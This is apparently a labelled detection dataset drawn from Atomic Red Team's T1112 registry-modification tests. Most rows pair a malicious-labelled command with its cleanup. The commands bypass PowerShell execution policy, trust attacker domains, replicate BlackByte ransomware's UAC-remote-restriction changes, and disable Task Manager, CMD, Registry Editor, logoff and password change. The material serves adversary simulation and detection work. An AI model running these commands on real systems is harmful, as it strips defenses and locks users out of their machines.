9a976475abce5c46a1968a84,"$key= ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"" $name =""bad-subdomain"" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD;","$key= ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"" $name =""bad-subdomain"" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Add domain to Trusted sites Zone,T1112,"[""T1112""]",windows,0.9,False,"Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
Upon execution, details of the new registry entries will be displayed.
Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3ef6c75155d5a6757a37f2f,"$key = ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"" Remove-item $key -Recurse -ErrorAction Ignore","$key = ""HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"" Remove-item $key -Recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Add domain to Trusted sites Zone,T1112,"[""T1112""]",windows,0.55,True,"Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
Upon execution, details of the new registry entries will be displayed.
Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65fc7a5fff15bf36eda26fcc,"New-ItemProperty ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" -Name T1112 -Value ""<script>""","New-ItemProperty ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" -Name T1112 -Value ""<script>""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Javascript in registry,T1112,"[""T1112""]",windows,0.9,False,"Upon execution, a javascript block will be placed in the registry for persistence.
Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70f660d55e6a15f8452ab4b0,"Remove-ItemProperty ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" -Name T1112 -ErrorAction Ignore","Remove-ItemProperty ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" -Name T1112 -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Javascript in registry,T1112,"[""T1112""]",windows,0.55,True,"Upon execution, a javascript block will be placed in the registry for persistence.
Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
279ecc494409d8a3231db48b,Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine,Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Change Powershell Execution Policy to Bypass,T1112,"[""T1112""]",windows,0.9,False,"Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
They can either specify it during the execution of the powershell script or change the registry value for it.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76f327762baa1d6e50b32159,try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy} -Scope LocalMachine -Force } catch {},try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy} -Scope LocalMachine -Force } catch {},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Change Powershell Execution Policy to Bypass,T1112,"[""T1112""]",windows,0.55,True,"Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
They can either specify it during the execution of the powershell script or change the registry value for it.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b1a2e3b425e5d74d55336db5,cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f,cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,BlackByte Ransomware Registry Changes - CMD,T1112,"[""T1112""]",windows,0.9,False,"This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See ""Preparing to Worm"" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</l",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
febbca84810e2b08af721736,reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy /f >nul 2>&1 reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLinkedConnections /f >nul 2>&1 reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /f >nul 2>&1,reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy /f >nul 2>&1 reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLinkedConnections /f >nul 2>&1 reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,BlackByte Ransomware Registry Changes - CMD,T1112,"[""T1112""]",windows,0.55,True,"This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See ""Preparing to Worm"" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</l",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba574b985e2252f21ba3d0c8,"New-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem"" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force","New-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force New-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem"" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,BlackByte Ransomware Registry Changes - Powershell,T1112,"[""T1112""]",windows,0.9,False,"This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell.  See ""Preparing to Worm"" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file nam",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0cd92503a81113a12e3def15,"Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name LocalAccountTokenFilterPolicy -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name EnableLinkedConnections -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem"" -Name LongPathsEnabled -Force -ErrorAction Ignore","Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name LocalAccountTokenFilterPolicy -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" -Name EnableLinkedConnections -Force -ErrorAction Ignore Remove-ItemProperty ""HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem"" -Name LongPathsEnabled -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,BlackByte Ransomware Registry Changes - Powershell,T1112,"[""T1112""]",windows,0.55,True,"This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell.  See ""Preparing to Worm"" section: https://redcanary.com/blog/blackbyte-ransomware/
The steps are as follows:
<ol>
    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>
    <li>2. Enable OS to share network connections between different privilege levels</li>
    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file nam",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e709dd4a9abe90f537ffb1a2,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableRegistryTools /t REG_DWORD /d 1 /f,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system /v DisableRegistryTools /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Registry Tool,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ae50825e6b95ac5e93062ee5,"powershell Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\system"" -Name DisableRegistryTools -ErrorAction Ignore","powershell Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\system"" -Name DisableRegistryTools -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Registry Tool,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73eb7eaf796faed8756738f1,"New-ItemProperty -Path ""HKCU:\Software\Policies\Microsoft\Windows\System"" -Name DisableCMD -Value 1","New-ItemProperty -Path ""HKCU:\Software\Policies\Microsoft\Windows\System"" -Name DisableCMD -Value 1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows CMD application,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35fe75fc1e98945cd5cc7e54,"Remove-ItemProperty -Path ""HKCU:\Software\Policies\Microsoft\Windows\System"" -Name DisableCMD -ErrorAction Ignore","Remove-ItemProperty -Path ""HKCU:\Software\Policies\Microsoft\Windows\System"" -Name DisableCMD -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows CMD application,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6381e34dee1df25de7a737ef,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableTaskmgr /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableTaskmgr /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Task Manager application,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f58d91a38d1da1f4bbf1b3c7,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableTaskmgr /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableTaskmgr /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Task Manager application,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.
See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
294992a3d07b811fe79a70bd,reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /t REG_DWORD /d 1 /f,reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Notification Center,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows notification center.
See how remcos rat abuses this technique- https://tccontre.blogspot.com/2020/01/remcos-rat-evading-windows-defender-av.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
48f79360c0f8289b6dbca19f,reg delete HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /f >nul 2>&1,reg delete HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Notification Center,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows notification center.
See how remcos rat abuses this technique- https://tccontre.blogspot.com/2020/01/remcos-rat-evading-windows-defender-av.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4066b92cd9962913711ded5,"reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f","reg add ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Shutdown Button,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
742a9b557141d1004cdf9c28,"reg delete ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v shutdownwithoutlogon /f >nul 2>&1","reg delete ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v shutdownwithoutlogon /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Shutdown Button,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e8342fe6fdf4044c896cf120,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoLogOff /t REG_DWORD /d 1 /f reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v StartMenuLogOff /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoLogOff /t REG_DWORD /d 1 /f reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v StartMenuLogOff /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows LogOff Button,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows logoff button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js_noclose.e/2
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62cc0db4989edff17f23df18,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoLogOff /f >nul 2>&1 reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v StartMenuLogOff /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoLogOff /f >nul 2>&1 reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v StartMenuLogOff /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows LogOff Button,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows logoff button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js_noclose.e/2
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec0231ca75090c8e24eac6c2,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableChangePassword /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableChangePassword /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Change Password Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows change password feature.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom_heartbleed.thdobah
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
122ae4ecd3733683cbf6f9f7,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableChangePassword /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableChangePassword /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Change Password Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows change password feature.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom_heartbleed.thdobah
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd7fc4f9ce39650c276a0347,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableLockWorkstation /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableLockWorkstation /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Lock Workstation Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature.
See how ransomware abuses this technique- https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
55d2832d6693ef8ca731798f,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableLockWorkstation /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableLockWorkstation /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Lock Workstation Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature.
See how ransomware abuses this technique- https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
34a13066b75aefe8b6ff8060,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoDesktop /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoDesktop /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoDesktop Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to hide all icons on Desktop Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee62306f424d55a6bb214da1,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoDesktop /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoDesktop /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoDesktop Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to hide all icons on Desktop Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1e6f4860330d17c22d4c7d3,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoRun /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoRun /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoRun Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Run menu from Start Menu Group Policy.
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd354b548083ef436b27580d,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoRun /f","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoRun /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoRun Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Run menu from Start Menu Group Policy.
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c2dfc73d6a872147ee0ca367,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFind /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFind /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoFind Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Search menu from Start Menu Group Policy.
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
03ec9c44c1322e109a89803d,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFind /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFind /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoFind Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Search menu from Start Menu Group Policy.
